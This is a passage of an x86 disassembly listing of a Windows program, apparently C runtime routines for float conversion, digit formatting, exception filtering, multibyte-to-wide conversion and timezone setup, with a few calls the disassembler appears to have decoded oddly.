		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41DA7F
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D97C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA7C
		push	edi
		push	[ebp+arg_0]
		call	sub_41D9C5
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41DA7C:				; CODE XREF: sub_41DA1B+51j
		mov	eax, [ebp+arg_4]


loc_41DA7F:				; CODE XREF: sub_41DA1B+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41DA9F
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41DA9F:				; CODE XREF: sub_41DA1B+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DA1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAA7	proc near		; CODE XREF: sub_41DB76+75p
					; sub_41DB76+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41DAB5:				; CODE XREF: sub_41DAA7+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41DAB5
		pop	esi
		retn
sub_41DAA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAC2	proc near		; CODE XREF: sub_41DB76+5Fp
					; sub_41DB76+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41DAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DACE	proc near		; CODE XREF: sub_41DB76+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41DAD4:				; CODE XREF: sub_41DACE+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41DAE6
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41DAD4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41DAE6:				; CODE XREF: sub_41DACE+9j
		xor	eax, eax
		retn
sub_41DACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAE9	proc near		; CODE XREF: sub_41DB76+C0p
					; sub_41DB76+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41DB1F:				; CODE XREF: sub_41DAE9+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41DB1F
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41DB51:				; CODE XREF: sub_41DAE9+86j
		cmp	ebx, edi
		jl	short loc_41DB64
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41DB6B
; ---------------------------------------------------------------------------


loc_41DB64:				; CODE XREF: sub_41DAE9+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41DB6B:				; CODE XREF: sub_41DAE9+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41DB51
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DAE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB76	proc near		; CODE XREF: sub_41DCE2+Dp
					; sub_41DCF8+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41DBE3
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41DACE
		test	eax, eax
		pop	ecx
		jnz	loc_41DCA2
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		pop	ecx


loc_41DBDB:				; CODE XREF: sub_41DB76+E4j
		push	2


loc_41DBDD:				; CODE XREF: sub_41DB76+110j
		pop	eax
		jmp	loc_41DCA4
; ---------------------------------------------------------------------------


loc_41DBE3:				; CODE XREF: sub_41DB76+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DAA7
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA1B
		add	esp, 10h
		test	eax, eax
		jz	short loc_41DC04
		inc	ebx


loc_41DC04:				; CODE XREF: sub_41DB76+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41DC1C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		pop	ecx
		jmp	short loc_41DC58
; ---------------------------------------------------------------------------


loc_41DC1C:				; CODE XREF: sub_41DB76+98j
		cmp	ebx, eax
		jg	short loc_41DC5F
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA7
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41DAE9
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA1B
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAE9
		add	esp, 20h


loc_41DC58:				; CODE XREF: sub_41DB76+A4j
		xor	esi, esi
		jmp	loc_41DBDB
; ---------------------------------------------------------------------------


loc_41DC5F:				; CODE XREF: sub_41DB76+A8j
		cmp	ebx, [edi]
		jl	short loc_41DC8B
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAE9
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41DBDD
; ---------------------------------------------------------------------------


loc_41DC8B:				; CODE XREF: sub_41DB76+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41DAE9
		pop	ecx
		pop	ecx


loc_41DCA2:				; CODE XREF: sub_41DB76+55j
		xor	eax, eax


loc_41DCA4:				; CODE XREF: sub_41DB76+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41DCD3
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41DCDD
; ---------------------------------------------------------------------------


loc_41DCD3:				; CODE XREF: sub_41DB76+14Ej
		cmp	edi, 20h
		jnz	short loc_41DCDD
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41DCDD:				; CODE XREF: sub_41DB76+15Bj
					; sub_41DB76+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB76	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCE2	proc near		; CODE XREF: sub_41DD0E+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4386E0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB76
		add	esp, 0Ch
		retn
sub_41DCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCF8	proc near		; CODE XREF: sub_41DD3B+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4386F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB76
		add	esp, 0Ch
		retn
sub_41DCF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD0E	proc near		; CODE XREF: sub_419FD8+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB33
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCE2
		add	esp, 24h
		leave
		retn
sub_41DD0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD3B	proc near		; CODE XREF: sub_419FD8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB33
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCF8
		add	esp, 24h
		leave
		retn
sub_41DD3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD68	proc near		; CODE XREF: sub_41A016+65p
					; sub_41A11A+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41DDA5
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41DD8B:				; CODE XREF: sub_41DD68+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41DD97
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41DD9A
; ---------------------------------------------------------------------------


loc_41DD97:				; CODE XREF: sub_41DD68+27j
		push	30h
		pop	edx


loc_41DD9A:				; CODE XREF: sub_41DD68+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41DD8B
		mov	edx, [ebp+arg_8]


loc_41DDA5:				; CODE XREF: sub_41DD68+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41DDBE
		cmp	byte ptr [ecx],	35h
		jl	short loc_41DDBE


loc_41DDB1:				; CODE XREF: sub_41DD68+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41DDBC
		mov	byte ptr [eax],	30h
		jmp	short loc_41DDB1
; ---------------------------------------------------------------------------


loc_41DDBC:				; CODE XREF: sub_41DD68+4Dj
		inc	byte ptr [eax]


loc_41DDBE:				; CODE XREF: sub_41DD68+42j
					; sub_41DD68+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41DDC8
		inc	dword ptr [edx+4]
		jmp	short loc_41DDDA
; ---------------------------------------------------------------------------


loc_41DDC8:				; CODE XREF: sub_41DD68+59j
		push	edi
		call	sub_415CF0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416490
		add	esp, 10h


loc_41DDDA:				; CODE XREF: sub_41DD68+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DD68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDDF	proc near		; CODE XREF: sub_41A016+3Fp
					; sub_41A11A+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE43
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_469650
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41F004
		mov	ds:dword_469678, eax
		add	esp, 18h
		movsx	eax, ds:byte_469652
		mov	ds:dword_469670, eax
		pop	edi
		movsx	eax, ds:word_469650
		mov	ds:dword_469674, eax
		mov	ds:dword_46967C, offset	dword_469654
		mov	eax, offset dword_469670
		pop	esi
		leave
		retn
sub_41DDDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE43	proc near		; CODE XREF: sub_41DDDF+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41DE91
		cmp	ebx, edi
		jz	short loc_41DE8A
		lea	edi, [ecx+3C00h]
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------


loc_41DE8A:				; CODE XREF: sub_41DE43+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------


loc_41DE91:				; CODE XREF: sub_41DE43+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DEA9
		cmp	edx, ebx
		jnz	short loc_41DEA9
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41DEF4
; ---------------------------------------------------------------------------


loc_41DEA9:				; CODE XREF: sub_41DE43+52j
					; sub_41DE43+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41DEB2:				; CODE XREF: sub_41DE43+45j
					; sub_41DE43+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41DECA:				; CODE XREF: sub_41DE43+A6j
		test	ecx, esi
		jnz	short loc_41DEEB
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41DECA
; ---------------------------------------------------------------------------


loc_41DEEB:				; CODE XREF: sub_41DE43+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41DEF4:				; CODE XREF: sub_41DE43+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DE43	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEF9	proc near		; CODE XREF: sub_417D4C+3AAp
					; sub_417D4C+3CBp ...
		push	2
		call	sub_417BEE
		pop	ecx
		retn
sub_41DEF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF02	proc near		; DATA XREF: sub_41DF48o
					; seg002:004380B0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41DF25
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41DF25
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41DF25
		jmp	sub_41AB9C
; ---------------------------------------------------------------------------


loc_41DF25:				; CODE XREF: sub_41DF02+Dj
					; sub_41DF02+13j ...
		mov	eax, ds:dword_469680
		test	eax, eax
		jz	short loc_41DF42
		push	eax
		call	sub_41DF9E
		test	eax, eax
		pop	ecx
		jz	short loc_41DF42
		push	esi
		call	ds:dword_469680
		jmp	short loc_41DF44
; ---------------------------------------------------------------------------


loc_41DF42:				; CODE XREF: sub_41DF02+2Aj
					; sub_41DF02+35j
		xor	eax, eax


loc_41DF44:				; CODE XREF: sub_41DF02+3Ej
		pop	esi
		retn	4
sub_41DF02	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF48	proc near		; DATA XREF: seg002:00423024o
		push	offset sub_41DF02
		call	ds:dword_42101C	; SetUnhandledExceptionFilter
		mov	ds:dword_469680, eax
		retn
sub_41DF48	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF59	proc near		; DATA XREF: seg002:0042303Co
		push	ds:dword_469680
		call	ds:dword_42101C	; SetUnhandledExceptionFilter
		retn
sub_41DF59	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF66	proc near		; CODE XREF: sub_41A3EE+6Bp
					; sub_41A8FF+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0A80000h
		test	ax, ax
		jz	short loc_41DF7E
		xor	esi, esi


loc_41DF7E:				; CODE XREF: sub_41DF66+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF66	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF82	proc near		; CODE XREF: sub_41A8FF+73p
					; sub_41A8FF+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0A80000h
		popf
		test	eax, eax
		jz	short loc_41DF9A
		xor	esi, esi


loc_41DF9A:				; CODE XREF: sub_41DF82+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF9E	proc near		; CODE XREF: sub_41A8FF+15Bp
					; sub_41DF02+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 0A80000h
		mov	ah, 85h
		sal	byte ptr [edx+eax+33h],	0F6h
		mov	eax, esi
		pop	esi
		retn
sub_41DF9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AB9C


loc_41DFB6:				; CODE XREF: sub_41AB9C:loc_41ABEDj
		push	0Ah
		call	sub_41CF19
		push	16h
		call	sub_41F297
		pop	ecx
		pop	ecx
		push	3
		call	sub_417838
; END OF FUNCTION CHUNK	FOR sub_41AB9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFCD	proc near		; CODE XREF: sub_41AD3D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41DFF0
		cmp	[ebp+arg_8], ebx
		jz	short loc_41DFF0
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DFF6
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41DFF0
		mov	[eax], bx


loc_41DFF0:				; CODE XREF: sub_41DFCD+Cj
					; sub_41DFCD+11j ...
		xor	eax, eax


loc_41DFF2:				; CODE XREF: sub_41DFCD+42j
					; sub_41DFCD+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DFF6:				; CODE XREF: sub_41DFCD+17j
		cmp	ds:dword_469518, ebx
		jnz	short loc_41E011
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41E00C
		movzx	ax, al
		mov	[ecx], ax


loc_41E00C:				; CODE XREF: sub_41DFCD+36j
					; sub_41DFCD+C0j
		push	1
		pop	eax
		jmp	short loc_41DFF2
; ---------------------------------------------------------------------------


loc_41E011:				; CODE XREF: sub_41DFCD+2Fj
		mov	ecx, ds:off_437D60
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E06E
		mov	eax, ds:dword_437F6C
		cmp	eax, 1
		jle	short loc_41E055
		cmp	[ebp+arg_8], eax
		jl	short loc_41E05F
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_469528
		call	ds:dword_421064	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_437F6C
		jnz	short loc_41DFF2


loc_41E055:				; CODE XREF: sub_41DFCD+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E05F
		cmp	[esi+1], bl
		jnz	short loc_41DFF2


loc_41E05F:				; CODE XREF: sub_41DFCD+61j
					; sub_41DFCD+8Bj ...
		mov	ds:dword_469484, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFF2
; ---------------------------------------------------------------------------


loc_41E06E:				; CODE XREF: sub_41DFCD+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_469528
		call	ds:dword_421064	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E00C
		jmp	short loc_41E05F
sub_41DFCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E095	proc near		; CODE XREF: sub_41AD3D+76p
					; sub_41AD3D+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_437F6C, 1
		jle	short loc_41E0AC
		push	8
		push	[esp+4+arg_0]
		call	sub_418556
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E0AC:				; CODE XREF: sub_41E095+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_437D60
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E095	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E0C0	proc near		; CODE XREF: sub_41AD3D+797p
					; sub_41AD3D+7E7p
		cmp	cl, 40h
		jnb	short loc_41E0DA
		cmp	cl, 20h
		jnb	short loc_41E0D0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41E0D0:				; CODE XREF: sub_41E0C0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41E0DA:				; CODE XREF: sub_41E0C0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41E0C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0DF	proc near		; CODE XREF: sub_41B7B3+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E12B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E0FD
		test	al, 80h
		jz	short loc_41E12B
		test	al, 2
		jnz	short loc_41E12B


loc_41E0FD:				; CODE XREF: sub_41E0DF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E10A
		push	esi
		call	sub_41D06C
		pop	ecx


loc_41E10A:				; CODE XREF: sub_41E0DF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E11A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E12B
		inc	eax
		mov	[esi], eax


loc_41E11A:				; CODE XREF: sub_41E0DF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41E131
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41E137
		inc	eax
		mov	[esi], eax


loc_41E12B:				; CODE XREF: sub_41E0DF+9j
					; sub_41E0DF+18j ...
		or	eax, 0FFFFFFFFh


loc_41E12E:				; CODE XREF: sub_41E0DF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E131:				; CODE XREF: sub_41E0DF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41E137:				; CODE XREF: sub_41E0DF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E12E
sub_41E0DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E14D	proc near		; CODE XREF: sub_41B7EE:loc_41B82Dp
		cmp	ds:dword_469740, 0
		jnz	short locret_41E161
		call	sub_41E162
		inc	ds:dword_469740

locret_41E161:				; CODE XREF: sub_41E14D+7j
		retn
sub_41E14D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E162	proc near		; CODE XREF: sub_41E14D+9p

var_4		= dword	ptr -4
arg_C		= byte ptr  10h

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_469688, ebp
		mov	ds:dword_4387B8, ebx
		mov	ds:dword_4387A8, ebx
		call	sub_41F409
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41E28B
		push	offset dword_469690
		call	near ptr 0A80000h
		mov	edi, [ebx]
		retn
; ---------------------------------------------------------------------------
		jz	loc_41E3BA
		mov	eax, ds:dword_469690
		mov	ecx, ds:dword_4696E4
		imul	eax, 3Ch
		cmp	ds:word_4696D6,	bp
		push	1
		pop	edx
		mov	ds:dword_438710, eax
		mov	ds:dword_469688, edx
		jz	short loc_41E1D9
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_438710, eax


loc_41E1D9:				; CODE XREF: sub_41E162+69j
		cmp	ds:word_46972A,	bp
		jz	short loc_41E1FD
		mov	eax, ds:dword_469738
		cmp	eax, ebp
		jz	short loc_41E1FD
		sub	eax, ecx
		mov	ds:dword_438714, edx
		imul	eax, 3Ch
		mov	ds:dword_438718, eax
		jmp	short loc_41E209
; ---------------------------------------------------------------------------


loc_41E1FD:				; CODE XREF: sub_41E162+7Ej
					; sub_41E162+87j
		mov	ds:dword_438714, ebp
		mov	ds:dword_438718, ebp


loc_41E209:				; CODE XREF: sub_41E162+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_421138
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_43879C
		push	ebx
		push	offset dword_469694
		push	edi
		push	ds:dword_469528
		call	esi ; dword_421138
		test	eax, eax
		jz	short loc_41E246
		cmp	dword ptr [esp+arg_C], ebp
		jnz	short loc_41E246
		mov	eax, ds:off_43879C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41E24E
; ---------------------------------------------------------------------------


loc_41E246:				; CODE XREF: sub_41E162+D1j
					; sub_41E162+D7j
		mov	eax, ds:off_43879C
		and	byte ptr [eax],	0


loc_41E24E:				; CODE XREF: sub_41E162+E2j
		lea	eax, [esp+arg_C]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_4387A0
		push	ebx
		push	offset dword_4696E8
		push	edi
		push	ds:dword_469528
		call	esi ; dword_421138
		test	eax, eax
		jz	loc_41E3B2
